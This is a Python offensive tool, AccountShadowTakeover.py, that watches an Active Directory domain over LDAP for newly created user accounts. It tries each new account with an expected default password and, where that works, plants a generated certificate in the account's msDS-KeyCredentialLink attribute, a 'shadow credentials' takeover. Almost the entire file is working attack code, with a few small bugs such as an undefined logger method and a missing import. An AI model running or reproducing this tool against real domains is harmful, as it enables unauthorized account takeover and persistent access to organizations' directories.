AccountShadowTakeover.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name          : AccountShadowTakeover.py
# Author             : Podalirius (@podalirius_)
# Date created       : 18 Oct 2021

import argparse
import binascii
import os
import re
import ssl
import sys
import time
import traceback
import ldap3
from impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
from dsinternals.common.data.DNWithBinary import DNWithBinary
from dsinternals.common.data.hello.KeyCredential import KeyCredential
from dsinternals.system.Guid import Guid
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
from dsinternals.system.DateTime import DateTime

LDAP_SERVER_NOTIFICATION_OID = "1.2.840.113556.1.4.528"

### Logger

class Logger(object):
    def __init__(self, debug=False, logfile=None, nocolors=False):
        super(Logger, self).__init__()
        self._debug = debug
        self.__nocolors = nocolors
        self.logfile = logfile
        #
        if self.logfile is not None:
            if os.path.exists(self.logfile):
                k = 1
                while os.path.exists(self.logfile+(".%d"%k)):
                    k += 1
                self.logfile = self.logfile + (".%d" % k)
            open(self.logfile, "w").close()

    def print(self, message=""):
        nocolor_message = re.sub("\x1b[\[]([0-9;]+)m", "", message)
        if self.__nocolors:
            print(nocolor_message)
        else:
            print(message)
        if self.logfile is not None:
            f = open(self.logfile, "a")
            f.write(nocolor_message + "\n")
            f.close()

    def info(self, message):
        nocolor_message = re.sub("\x1b[\[]([0-9;]+)m", "", message)
        if self.__nocolors:
            print("[info] %s" % nocolor_message)
        else:
            print("[info] %s" % message)
        if self.logfile is not None:
            f = open(self.logfile, "a")
            f.write(nocolor_message + "\n")
            f.close()

    def debug(self, message):
        if self._debug == True:
            nocolor_message = re.sub("\x1b[\[]([0-9;]+)m", "", message)
            if self.__nocolors:
                print("[debug] %s" % nocolor_message)
            else:
                print("[debug] %s" % message)
            if self.logfile is not None:
                f = open(self.logfile, "a")
                f.write("[debug] %s" % nocolor_message + "\n")
                f.close()

    def error(self, message):
        nocolor_message = re.sub("\x1b[\[]([0-9;]+)m", "", message)
        if self.__nocolors:
            print("[error] %s" % nocolor_message)
        else:
            print("[error] %s" % message)
        if self.logfile is not None:
            f = open(self.logfile, "a")
            f.write("[error] %s" % nocolor_message + "\n")
            f.close()

###

class LDAPSearcher(object):
    def __init__(self, ldap_server, ldap_session, target_dn, logger, page_size=1000):
        super(LDAPSearcher, self).__init__()
        self.ldap_server = ldap_server
        self.ldap_session = ldap_session
        self.delegate_from = None
        self.target_dn = target_dn
        self.logger = logger
        self.page_size = page_size
        self.__results = {}
        self.logger.debug("Using dn: %s" % self.target_dn)

    def query(self, query, attributes=['*'], quiet=False):
        # controls
        # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3c5e87db-4728-4f29-b164-01dd7d7391ea
        LDAP_PAGED_RESULT_OID_STRING = "1.2.840.113556.1.4.319"
        results = {}
        try:
            # https://ldap3.readthedocs.io/en/latest/searches.html#the-search-operation
            paged_response = True
            paged_cookie = None
            while paged_response == True:
                self.ldap_session.search(
                    self.target_dn, query, attributes=attributes,
                    size_limit=0, paged_size=self.page_size, paged_cookie=paged_cookie
                )
                #
                if "controls" in self.ldap_session.result.keys():
                    if LDAP_PAGED_RESULT_OID_STRING in self.ldap_session.result["controls"].keys():
                        next_cookie = self.ldap_session.result["controls"][LDAP_PAGED_RESULT_OID_STRING]["value"]["cookie"]
                        if len(next_cookie) == 0:
                            paged_response = False
                        else:
                            paged_response = True
                            paged_cookie = next_cookie
                    else:
                        paged_response = False
                else:
                    paged_response = False
                #
                for entry in self.ldap_session.response:
                    if entry['type'] != 'searchResEntry':
                        continue
                    results[entry['dn']] = entry["attributes"]
        except ldap3.core.exceptions.LDAPInvalidFilterError as e:
            print("Invalid Filter. (ldap3.core.exceptions.LDAPInvalidFilterError)")
        except Exception as e:
            raise e
        return results

def get_machine_name(args, domain):
    if args.dc_ip is not None:
        s = SMBConnection(args.dc_ip, args.dc_ip)
    else:
        s = SMBConnection(domain, domain)
    try:
        s.login('', '')
    except Exception:
        if s.getServerName() == '':
            raise Exception('Error while anonymous logging into %s' % domain)
    else:
        s.logoff()
    return s.getServerName()


def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash):
    user = '%s\\%s' % (domain, username)
    if tls_version is not None:
        use_ssl = True
        port = 636
        tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
    else:
        use_ssl = False
        port = 389
        tls = None
    ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls)
    if args.use_kerberos:
        ldap_session = ldap3.Connection(ldap_server)
        ldap_session.bind()
        ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.auth_key, kdcHost=args.dc_ip)
    elif args.auth_hashes is not None:
        if lmhash == "":
            lmhash = "aad3b435b51404eeaad3b435b51404ee"
        ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True)
    else:
        ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True)

    return ldap_server, ldap_session


def init_ldap_session(args, domain, username, password, lmhash, nthash):
    if args.use_kerberos:
        target = get_machine_name(args, domain)
    else:
        if args.dc_ip is not None:
            target = args.dc_ip
        else:
            target = domain

    if args.use_ldaps is True:
        try:
            return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash)
        except ldap3.core.exceptions.LDAPSocketOpenError:
            return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash)
    else:
        return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash)


def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True, ldap3=None):
    from pyasn1.codec.ber import encoder, decoder
    from pyasn1.type.univ import noValue
    """
    logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
    :param string user: username
    :param string password: password for the user
    :param string domain: domain where the account is valid for (required)
    :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
    :param string nthash: NTHASH used to authenticate using hashes (password is not used)
    :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
    :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
    :param struct TGT: If there's a TGT available, send the structure here and it will be used
    :param struct TGS: same for TGS. See smb3.py for the format
    :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
    :return: True, raises an Exception if error.
    """

    if lmhash != '' or nthash != '':
        if len(lmhash) % 2:
            lmhash = '0' + lmhash
        if len(nthash) % 2:
            nthash = '0' + nthash
        try:  # just in case they were converted already
            lmhash = binascii.unhexlify(lmhash)
            nthash = binascii.unhexlify(nthash)
        except TypeError:
            pass

    # Importing down here so pyasn1 is not required if kerberos is not used.
    from impacket.krb5.ccache import CCache
    from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
    from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
    from impacket.krb5 import constants
    from impacket.krb5.types import Principal, KerberosTime, Ticket
    import datetime

    if TGT is not None or TGS is not None:
        useCache = False

    if useCache:
        try:
            ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
        except Exception as e:
            # No cache present
            print(e)
            pass
        else:
            # retrieve domain information from CCache file if needed
            if domain == '':
                domain = ccache.principal.realm['data'].decode('utf-8')
                logger.debug('Domain retrieved from CCache: %s' % domain)

            logger.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))
            principal = 'ldap/%s@%s' % (target.upper(), domain.upper())

            creds = ccache.getCredential(principal)
            if creds is None:
                # Let's try for the TGT and go from there
                principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
                creds = ccache.getCredential(principal)
                if creds is not None:
                    TGT = creds.toTGT()
                    logger.debug('Using TGT from cache')
                else:
                    logger.debug('No valid credentials found in cache')
            else:
                TGS = creds.toTGS(principal)
                logger.debug('Using TGS from cache')

            # retrieve user information from CCache file if needed
            if user == '' and creds is not None:
                user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
                logger.debug('Username retrieved from CCache: %s' % user)
            elif user == '' and len(ccache.principal.components) > 0:
                user = ccache.principal.components[0]['data'].decode('utf-8')
                logger.debug('Username retrieved from CCache: %s' % user)

    # First of all, we need to get a TGT for the user
    userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    if TGT is None:
        if TGS is None:
            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
    else:
        tgt = TGT['KDC_REP']
        cipher = TGT['cipher']
        sessionKey = TGT['sessionKey']

    if TGS is None:
        serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value)
        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
    else:
        tgs = TGS['KDC_REP']
        cipher = TGS['cipher']
        sessionKey = TGS['sessionKey']

        # Let's build a NegTokenInit with a Kerberos REQ_AP

    blob = SPNEGO_NegTokenInit()

    # Kerberos
    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

    # Let's extract the ticket from the TGS
    tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
    ticket = Ticket()
    ticket.from_asn1(tgs['ticket'])

    # Now let's build the AP_REQ
    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = []
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq, 'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = domain
    seq_set(authenticator, 'cname', userName.components_to_asn1)
    now = datetime.datetime.utcnow()

    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 11
    # AP-REQ Authenticator (includes application authenticator
    # subkey), encrypted with the application session key
    # (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)

    apReq['authenticator'] = noValue
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    blob['MechToken'] = encoder.encode(apReq)

    request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData())

    # Done with the Kerberos saga, now let's get into LDAP
    if connection.closed:  # try to open connection if closed
        connection.open(read_server_info=False)

    connection.sasl_in_progress = True
    response = connection.post_send_single_response(connection.send('bindRequest', request, None))
    connection.sasl_in_progress = False
    if response[0]['result'] != 0:
        raise Exception(response)

    connection.bound = True

    return True


def try_shadowtakeover(target_dn, sAMAccountName, password, domain, dc_ip, use_ldaps, logger):
    logger.print("   [>] Trying to add shadow credentials to '%s'" % sAMAccountName)
    if dc_ip is not None:
        target = dc_ip
    else:
        target = domain

    if use_ldaps is True:
        try:
            # return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, "", "")
            tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2)
            ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=636, use_ssl=True, tls=tls)

        except ldap3.core.exceptions.LDAPSocketOpenError:
            # return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, "", "")
            tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1)
            ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=636, use_ssl=True, tls=tls)
    else:
        # return init_ldap_connection(target, None, args, domain, username, password, "", "")
        ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=389, use_ssl=False, tls=None)
    try:
        logger.print("     | Trying to authenticate with user '%s\\%s' and password '%s'" % (domain, sAMAccountName, password))
        ldap_session = ldap3.Connection(ldap_server, user='%s\\%s' % (domain, sAMAccountName), password=password, authentication=ldap3.NTLM, auto_bind=True)
    except ldap3.core.exceptions.LDAPBindError as e:
        logger.print("     | Authentication failed!")
        logger.print("     | %s" % str(e))
        return None
    logger.print("     | Authentication successful!")
    # Auth successful we can continue
    logger.print("     | Generating certificate")
    certificate = X509Certificate2(subject=sAMAccountName, keySize=2048, notBefore=(-40*365), notAfter=(40*365))
    logger.print("     | Certificate generated")
    logger.print("     | Generating KeyCredential")
    keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=target_dn, currentTime=DateTime())
    logger.print("     | KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD())
    if logger._debug == True:
        keyCredential.fromDNWithBinary(keyCredential.toDNWithBinary()).show()
    logger.debug("     | KeyCredential: %s" % keyCredential.toDNWithBinary().toString())
    ldap_session.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['sAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])

    existing_msDS_KeyCredentialLink = []
    if len(ldap_session.response) == 0:
        logger.error("LDAP response is empty. Exiting.")
        return None
    if 'attributes' not in ldap_session.response[0].keys():
        logger.error("No attributes present in LDAP response. Exiting.")
        return None
    if 'msDS-KeyCredentialLink' in ldap_session.response[0]['attributes'].keys():
        existing_msDS_KeyCredentialLink = ldap_session.response[0]['attributes']['msDS-KeyCredentialLink']
        new_values = existing_msDS_KeyCredentialLink + [keyCredential.toDNWithBinary().toString()]
        logger.print("     | Updating the msDS-KeyCredentialLink attribute of %s" % sAMAccountName)
        ldap_session.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]})
    else:
        logger.print("     | Adding the msDS-KeyCredentialLink attribute to %s" % sAMAccountName)
        ldap_session.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_ADD, [keyCredential.toDNWithBinary().toString()]]})
    if ldap_session.result['result'] == 0:
        logger.success("Updated the msDS-KeyCredentialLink attribute of the target object")
    else:
        print(ldap_session.result)


def parseArgs():
    parser = argparse.ArgumentParser(add_help=True, description='AccountShadowTakeover')
    parser.add_argument('--use-ldaps', action='store_true', help='Use LDAPS instead of LDAP.')
    parser.add_argument("--debug", dest="debug", action="store_true", default=False, help="Debug mode.")
    parser.add_argument("--no-colors", dest="no_colors", action="store_true", default=False, help="No colors mode.")
    parser.add_argument("-l", "--logfile", dest="logfile", type=str, default=None, help="Log file to save output to.")
    parser.add_argument("-s", "--page-size", dest="page_size", type=int, default=1000, help="Page size.")
    parser.add_argument("-r", "--randomize-delay", dest="randomize_delay", action="store_true", default=False, help="Randomize delay between two queries, between 1 and 5 seconds.")
    parser.add_argument("-t", "--time-delay", dest="time_delay", type=int, default=1, help="Delay between two queries in seconds (default: 1).")
    parser.add_argument("-D", "--default-password", dest="default_password", type=str, required=True, help="Default password used for new accounts.")

    authconn = parser.add_argument_group('authentication & connection')
    authconn.add_argument('--dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter')
    authconn.add_argument("-d", "--domain", dest="auth_domain", metavar="DOMAIN", action="store", help="(FQDN) domain to authenticate to")
    authconn.add_argument("-u", "--user", dest="auth_username", metavar="USER", action="store", help="user to authenticate with")

    secret = parser.add_argument_group()
    cred = secret.add_mutually_exclusive_group()
    cred.add_argument('--no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    cred.add_argument("-p", "--password", dest="auth_password", metavar="PASSWORD", action="store", help="password to authenticate with")
    cred.add_argument("-H", "--hashes", dest="auth_hashes", action="store", metavar="[LMHASH:]NTHASH", help='NT/LM hashes, format is LMhash:NThash')
    cred.add_argument('--aes-key', dest="auth_key", action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
    secret.add_argument("-k", "--kerberos", dest="use_kerberos", action="store_true", help='Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    return parser.parse_args()


if __name__ == '__main__':
    options = parseArgs()
    logger = Logger(debug=options.debug, nocolors=options.no_colors, logfile=options.logfile)
    logger.print("[+]======================================================")
    logger.print("[+]    AccountShadowTakeover v1.0        @podalirius_    ")
    logger.print("[+]======================================================")
    logger.print()

    auth_lm_hash = ""
    auth_nt_hash = ""
    if options.auth_hashes is not None:
        if ":" in options.auth_hashes:
            auth_lm_hash = options.auth_hashes.split(":")[0]
            auth_nt_hash = options.auth_hashes.split(":")[1]
        else:
            auth_nt_hash = options.auth_hashes

    try:
        ldap_server, ldap_session = init_ldap_session(args=options, domain=options.auth_domain, username=options.auth_username, password=options.auth_password, lmhash=auth_lm_hash, nthash=auth_nt_hash)

        logger.debug("Authentication successful!")
        if "." not in options.auth_domain:
            options.auth_domain += ".local"
        target_dn = ','.join(["DC=%s" % part for part in options.auth_domain.split('.')])

        target_dn = "CN=Users,"+target_dn

        searcher = LDAPSearcher(ldap_server, ldap_session, target_dn, logger=logger, page_size=options.page_size)
        logger.print("[>] Waiting for new user creations ...")

        known_users = searcher.query('(&(objectClass=person)(objectClass=organizationalPerson)(objectClass=user))', attributes=['sAMAccountName'])

        running = True
        while running:
            if options.randomize_delay == True:
                delay = random.randint(1000, 5000) / 1000
            else:
                delay = options.time_delay
            logger.debug("Waiting %s seconds" % str(delay))
            time.sleep(delay)
            #
            results = searcher.query("(&(objectClass=person)(objectClass=organizationalPerson)(objectClass=user))", attributes=['sAMAccountName','objectClass'])
            #
            for distinguishedName in (list(known_users.keys())+list(results.keys())):
                if distinguishedName not in known_users.keys() and distinguishedName in results.keys():
                    # New user
                    logger.print("[+] User '%s' was added." % distinguishedName)
                    known_users[distinguishedName] = results[distinguishedName]
                    try_shadowtakeover(
                        distinguishedName,
                        results[distinguishedName]['sAMAccountName'],
                        options.default_password,
                        options.auth_domain,
                        options.dc_ip,
                        options.use_ldaps,
                        logger
                    )
                elif distinguishedName in known_users.keys() and distinguishedName not in results.keys():
                    # Deleted user
                    logger.print("[!] User '%s' was deleted." % distinguishedName)
                    del known_users[distinguishedName]

    except Exception as e:
        raise e